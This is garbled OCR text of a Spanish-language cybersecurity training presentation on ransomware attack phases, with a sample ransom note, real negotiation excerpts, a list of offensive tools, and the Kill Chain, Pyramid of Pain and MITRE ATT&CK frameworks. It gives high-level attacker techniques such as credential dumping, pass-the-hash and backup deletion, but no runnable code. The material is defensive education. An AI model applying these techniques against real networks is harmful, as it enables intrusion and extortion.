*  Enumeracién de Active Directory (usuarios, grupos, permisos)

P En sus movimientos, procurara emplear
herramientas de administracion y protocolos
legitimos para no llamar la atencion:

e PowerShell/WinRM/LDAP
*  PsExec/SMB..
« RPCyRDP

P Hara uso de herramientas y exploits especificos
para explotar de vulnerabilidades.

P Enlos equipos comprometidos, intentara extraer y
robar credenciales:

*  OS Credential Dumping (LSASS)
*  Pass-the-Hash (PtH) NTLM
*  Pass-the-Ticket (PtT) Kerberos




‘ Movimiento Lateral, Exfiltracion y Cifrado 3>@ns
El ataque puede completarse en pocos minutos o tras varios meses

=~

Movimiento Lateral

Ransomware



Ransomware axI1aNs
La ultima fase del ataque y el comienzo de la crisis..

Cifrado multiple desde diferentes ransomware ejecutandose a través de cuentas de
administrador y equipos de usuario. Borrado de logs y nota de rescate...

Despliegue del Ransomware a través de GPO, PsExec, SCCM, scripts
remotos, sincronizacién del ataque...

All your important files are encrypted! . o &
There is only one way to get your files back: Neutrallzaclon
1. Contact with us

2. Send us 1 any encrypted your file and your personal key

3t Wil decype 1 e for est(saximm File size - 118), it garantes what e con decr Borrar shadows copiesl borrar backu ps, desactivar
procesos automaticos de respaldo...

5. We send for you decryptor software
We accept Bitcoin

Attention!
Do not rename encrypted files.
Do not try to decrypt using third party software, it may cause permanent data loss.

Ducrovition of yibe 11k ith the: haln oF tiind Rectins: e coee acrecend. ‘prioa(thay nad Exfiltracién de BB DD' informacion

Contact information: _ - ’ .
I —— sensible, correos electrénicos...

Your personal id:
DsE§52CLMwaPyDARISs 2CVtq1ViGag22BKS §57XA6gPE20x/277G07PgoxRahG
Rt

GF 1 2q2U6/veKKL3DCKTBCaN3ubiF y Ikl ° o

EDVCRy DKXyptTz63 hv Jh/A929mAZ tQp6UL XBMONAKXVNF T DeSCUb" m'ento
8J0ZY1efUNoFKBqR4bKLVZtPBIBUK3INzB7F11MqBVG/AEG7/ Jal4tHazaN) 2gNeH
Rx1cB3q7kGHLDLSVOLDS4+EYZpaf /XeeghnAISpSBTSA1ZC FnmE0SagdnL 1xZs

M 742L1PL/9L 5+eFVe7zhfSvvlL+x601611204G6 DC, Fi Ie Se rve rs,

(MI!::QMJ?EfKXFZaPI'D‘lIsozujhlz7opV]BSlGquMstXATColeC . .
hipervisores, backups,
Cloud, ERP..




Incidencia del Ransomware 3XIaNs
Sectores mas afectados y amenazas en Espana al inicio del 2026

Top 10 Sectors

[ Manufacturing [ Technology || Healihcare [l Business Services
m Construction s Financial Services o Education mmmmm Public Sector
I Consumer Services [ Energy

Top 10 Groups

[ Low (1-99) [ Medium (100-199) () High (200+)

B

[ qilin M lockbit3 1 ransomhub I akira [ stormous

I hunters [l 8base WM everest W incransom [l safepay

B Other

www.ransomware.live/stats


http://www.ransomware.live/stats

aXI3aNs

Your company's network is attacked and the entire system is encrypted. We

® ¢
have downloaded all the company’s confidential data. After payment you will receive. éQ u I e n pag a?

1. Decryption tool for all devices Segun Sophos el 46-49% de las victimas,
Verizon el 36% y Chainalysis el 34-35%...

2. Complete list of files taken from the network.
3. Proof that all your data has been deleted.

4. Information about how we got into the network. Total revenues $19,621,065 2019 Yearly growth 2.9% % of revenues n/a

20152016201720182019$13m$17m Total expenses $15,846,289 2019 Yearly growth

5. Security recommendations to stop future attacks. 2.4% % of expenses n/a 20152016201720182019$11m$13m$15m Total assets
$394,852,832 2019 Yearly growth 5.5% % of assets n/a

6. Promise that we will not attack you again in the future. 20152016201720182019$0.3b$0.4b$0.4b Num. employees 110 2019 Yearly growth
6.8%

7. Guarantee that we will forget about this incident.

You have 2019 numbers, not 2022. Also Revenues- Expenses with the numbers
you have listed, which are not correct are only equate to under $1M.  Are you telling
We will provide the list of files what we took from you as soon as possible and me you normally ask a company to pay $6M on under $10M in revenue with Net
you can offer 3 names of files from it and we will provide them as a proof of Income a little over $200K. | have no idea how any company would pay you.
availability. Also you can send 3 encrypted files and we will decrypt them as a proof
that our decryption tool really works. But these files must not contain a valuable 01.09.2022 23:38:45 UTC

information.

é Are you saying that the net profit per year is $200,000?

Instantes de dos negociaciones reales en el canal de qilin y lockbit3.0




Herramientas axIans
Desarrollos propios, dominio publico, propietarios, recursos OSINT..

P Dentro de esta categoria se encuentran aquellas
aplicaciones que automatizan o simplifican alguna accion
del atacante (o del analista de seguridad):

* Recopila informacién: NMAP, Recon-NG...

* Escaneo vulnerabilidades: OpenVAS, Medusa...
* Explotaciéon: Metasploit, Burp Suite...

e Ataques contra servicios Web: Nikto, EvilURL, Evilginx...
* Correoy Fishing: GoFish, SocialFish...

e Directorio Activo: ADRecon, Certify, Mimikatz...
* Password: John the Ripper, THC-Hydra...

* SQL: PowerUpSQL, SQLMap,...

* Wireless: Aircrack-ng, TCPdump, Wifite...

P Kali Linux reine muchas de estas herramientas



Agenda axXlIans
Introduccion a la Ciberseguridad

» » Modelos de Amenazas y Marcos
de Referencia

* Cyber Kill Chain
* Piramide del Dolor
e MITRE ATT&ACK




Cyber Kill Chain axIans

Lockheed Martin, 2011

» Cyber Kill Chain ha sido uno de los modelos mas influyentes en
ciberseguridad. Fue desarrollado para entender, detectar y detener
ataques APT (Advanced Persistent Threat)

» Descompone un ciberataque en siete fases y su objetivo es ayudar a los
analistas a identificar en qué etapa se encuentra un ataque y actuar
proactivamente para interrumpirlo antes de que cause dano:

e Introdujo una visidon estructurada del ciclo de vida de un ataque

* Permitid a los equipos de seguridad anticiparse y romper la cadena antes de
que el atacante logre su objetivo

* Se convirtié en un estandar de facto en analisis de amenazas, red teaming y
threat hunting

P Sise cuenta con las herramientas y soluciones de seguridad adecuadas,
este modelo ayuda a entender un ataque, su deteccidon y bloqueo



Cyber Kill Chain axIans

Las siete fases de un ataque

Reconnainssance
Recopilar info, identificar
vulnerabilidades, etc Weaponization
Programar un exploit y un

Delivery payload

Técnica empleada para

entrega el exploit
Explotation

Detonacién del exploit y
Installation ejecucion de payload
El payload inicia la descarga

de un malware o abre un shell Command & Control

Sobre la victima, se establece
un canal para facilitar el acceso

Actions on objetives
y control remoto

Robo de informacioén,
encriptado, borrado...




Piramide del Dolor axIaNs
David J. Bianco, 2013

» LaPiramide del Dolor y la Cyber Kill
Chain son dos modelos conceptuales
complementarios en ciberseguridad -
que ayudan a las organizaciones a
comprender, detectar y mitigar los
ciberataques de manera mas efectiva Herramientas  Exigente

Dificil

» La Piramide del Dolor, creada por David
Bianco, clasifica los indicadores de Artefactos Red/Host|  Molesto
compromiso (loC) que se pueden
utilizar para detectar la actividad de un
adversario, basandose en la dificultad

que representa para el atacante
cambiar o evitar esos indicadores Sencillo
P La piramide se estructura de abajo
Valores Hash Trivial

Nombres de Dominio Simple

hacia arriba (de menos dolor y
dificultad para el atacante a mas
dolor)




MITRE ATT&CK axIaNs

The MITRE Corporation, 2013

» Como anticipé el modelo Cyber Kill Chain y la Piramide del Dolor, un ciberataque se
compone de fases bien definidas y sigue un modus operandi que varia segun el
atacante. Este dependera de factores como el objetivo y la etapa del ataque, sus
conocimientos técnicos y las herramientas utilizadas, entre otros elementos

P Las tacticas, técnicas y procedimientos utilizadas por los atacantes han sido
documentadas y organizadas en distintas matrices dentro del marco MITRE ATT&CK,
abarcando multiples plataformas como:

* Entreprise Py ‘%‘5‘:5
*  PRE (reconocimiento, previo al ataque) Qs
*  Windows
*  macOS
* Linux
Cloud
Network Devices
Containers
e ESXi
* Mobile
e Android Q,%%
e i0S ‘*" W
« ICS (equipos OT) Wt )

o »

L1 1 0




Tacticas, Técnicas, Subtéecnicas y Procedimientos axIanNs

Matriz Enterprise
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tacticas

SesIudal

Tacticas: Son los objetivos que un atacante quieren lograr, como
recopilar informacion de un sistema, evadir sus defensas o robar datos
* Teécnicas: Métodos empleados para lograr cada tactica. Por ejemplo, usar
phishing para obtener acceso inicial. Una tactica contine varias técnicas
* Subtécnicas: Variaciones especificas de una técnica
* Procedimientos: Como ciertos grupos APT han aplicado esta técnica



MITRE ATT&CK

https:/attack. mitre.org/

MITRE | ATT&CK

Matrices ~  Tactics = Technigues -

Defenses ~  CT| ~

Resources -

Benefactors

3aXIaNns

Blog &

MATRICES

Home > Matricss > Enterprise > Enterprise

Enterprise - . .
PRE Enterp”se MaTI'IX View on the ATT&CK® Navigator @
Windows Below andtechniques the MITRE ATTECK® Matrix for Enterprise. The Matrix contains information for the fallowing platforms: Windows, macOS, Linux, PRE, Office Suite, Identity Provider, Version Permalink
Saas, laas, Newwork Devices, Containers, ESXL.
mac0S
Linux
Cloud - layoutiside > show sub-techniques  hide sub-techniques  help
Network Devices
Reconnaissance Regource Initial Access Execution Persistence: Privilege Defense Evasion  Credential Discovery Lateral Collection Commandand  Exfilration Impact
Containers Development Escalation Access Movement Control
10 tschriques 8 echniques 11 techniques 16 tachniques 23 techniques 18 techmiques 5 techniques 17 techriques 33 tachniques 9 techniques 17 techmiques 18 techniques 9 tachniques 15techniques
ESXi active Soanring ) Acquire Accass Goment imjecton | Gloud Adminiswation || Account Aaversary [account Explortation of saversaryintre. | [ropicaton ayer [ [automatea Account Access
ammand Menipuation ) |Comurol il coveny i Reem Midde 5 tocol 15 Exitvation Remoral
Mobile ~ (Gather Victm Host cquire Drivecby liechenism
Gompromise BITS Jobs [Access Token Brute Foroe g Appication intemal Communication Deta Transter s Destructon g ]
sccess Tokan hish Through Removable  Sza Limits
Ics (Gather Victim Identity [ [Compromise Exploit Public- oot or Logen Manipulztion i Medis Dea Encrypted for
informaion ) iccourts ) Facing Application Anostan BITS Jobs Fassword Browser Lateral Tool Exivation Over ] impact
Gortainer Execution . rccount 5 Informaticn Transer Cantent Injection atema
(Gather Victm Metwork [ | Compromise Extemal Remate i = Marip Discovery Auomted Frotocal [pata
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Scanning IP Blocks
Vulnerability Scanning
Wordlist Scanning

Gather Victim Host Information

Gather Victim Identity
Information

Gather Victim Network
Information

Gather Victim Org Information
Phishing for Information
Search Closed Sources

Search Open Technical
Databases

Search Open Websites/Domains

Search Victim-Owned Websites

Active Scanning |

Sub-techniques (3)

ID: T1595

Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans Sub-techniques: T1595.001, T1595.002,

T1595.003

are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance

that do not involve direct interaction.

Adversaries may perform different forms of active scanning depending on what information they seek to gather. These scans

@ Tactic: Reconnaissance

[S]

Platforms: PRE

Version: 1.0

can also be performed in various ways, including using native features of network protocols such as ICMP!IZ |nformation

Created: 02 October 2020

from these scans may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search

Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial

Last Modified: 15 April 2025

access (ex: External Remote Services or Exploit Public-Facing Application).

[Procedure Examples]

D Name

Version Permalink

Description

[ C0030  Triton Safety Instrumented System Attack ] In the Triton Safety Instrumented System Attack, TEMP.Veles engaged in network reconnaissance against targets of interest.?l

Resource Development
Scanning IP Blocks

Vulnerability Scanning
Wordlist Scanning
Gather Victim Host Information

Gather Victim Identity
Information

Gather Victim Network
Information

Gather Victim Org Information
Phishing for Information
Search Closed Sources

Search Open Technical
Databases

Search Open Websites/Domains
Search Victim-Owned Websites
Resource Development
Initial Access
Execution
Persistence

Privilege Escalation

[[v] Mitigation Description

Pre- This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and
compromise controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.

ID Data Source Data Component

DS0029 Network Traffic = Network Traffic

Detects

Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards

Content and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic pattermns, anomalous
syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and
command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for
respective protocol(s)).

Network Traffic Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or

Flow have never been seen before are suspicious.
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Algunas aplicaciones
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Inteligencia: Enriquecimiento de la informacion sobre amenazasy
actores de amenazas

Pruebas de |la postura de seguridad, simulacién de técnicas de ataque
y Red Teaming

Evaluacion de brechas e identificacion de carencias defensivas

Desarrollo de analisis de comportamiento: Relacionar la actividad
sospechosa e identificacion de un adversario

Busqueda de amenazas proactiva o Threat Hunting
Modelado de amenazas y elaboracion de casos de uso en el SOC
Triaje de alertas y respuesta...

Incorporacion en productos comerciales de Ciberseguridad de
capacidades de deteccion y respuesta basadas en MITRE
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